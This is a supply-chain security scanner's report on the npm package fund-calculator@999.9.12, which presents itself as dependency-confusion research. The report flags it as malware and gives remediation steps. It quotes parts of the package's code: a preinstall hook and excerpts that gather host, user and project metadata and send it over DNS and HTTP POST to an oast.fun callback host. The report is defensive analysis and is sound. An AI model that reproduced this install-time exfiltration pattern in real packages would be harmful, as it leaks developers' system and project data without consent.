registry / Data exfiltration / fund-calculator

fund-calculator

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for fund-calculator@999.9.12, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The source implements automatic preinstall-time collection and external transmission of identifying host and project data. Its stated research intent does not remove the concrete unconsented exfiltration behavior.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation, via the `preinstall` lifecycle hook

Impact

Discloses host, network, user, directory, and consuming-project identifying metadata to a third party.

Mechanism

install-time host and project metadata exfiltration over DNS and HTTP(S)

Attack narrative

On dependency installation, npm runs `index.js`. It reads the consuming project's manifest, collects host and network identifiers plus username, home directory, CWD, and project metadata, then sends the serialized record to a fixed callback. It uses hex-encoded DNS labels as well as HTTP and HTTPS POST requests, providing multiple exfiltration routes.

AI rationale

Evidence

package.jsonindex.jsINIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ipo-o.myaddr.l.google.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`preinstall` automatically executes `index.js`.
Collects username, home directory, hostname, local IP, CWD, and consuming-project metadata.
Reads the consuming project's `package.json` via `INIT_CWD`.
Encodes the collected JSON as hex and transmits it in DNS queries.
Also POSTs the full collected JSON to a fixed callback host over HTTP and HTTPS.

Evidence against

No child-process execution, payload download, persistence, or destructive write is present.
The README describes the activity as dependency-confusion research, but the unsolicited install-time collection and exfiltration are concrete.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 6.69 KB of source, external domains: api.ipify.org, icanhazip.com, ifconfig.me

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` automatically executes `index.js`.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Reads the consuming project's `package.json` via `INIT_CWD`.

index.jsView on unpkg · L36

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` automatically executes `index.js`.

package.jsonView on unpkg · L10

index.jsView file

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to fund-calculator@999.9.12.

The versions list below shows the verdict for each recorded version.

Avoid installing fund-calculator@999.9.12. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-24 05:30:16.162Z (UTC).

Source advisory published: 2026-08-24 05:06:25.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

999.9.12latestshownMaliciousData ExfiltrationBlockPublishedAug 23, 2026, 10:46 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages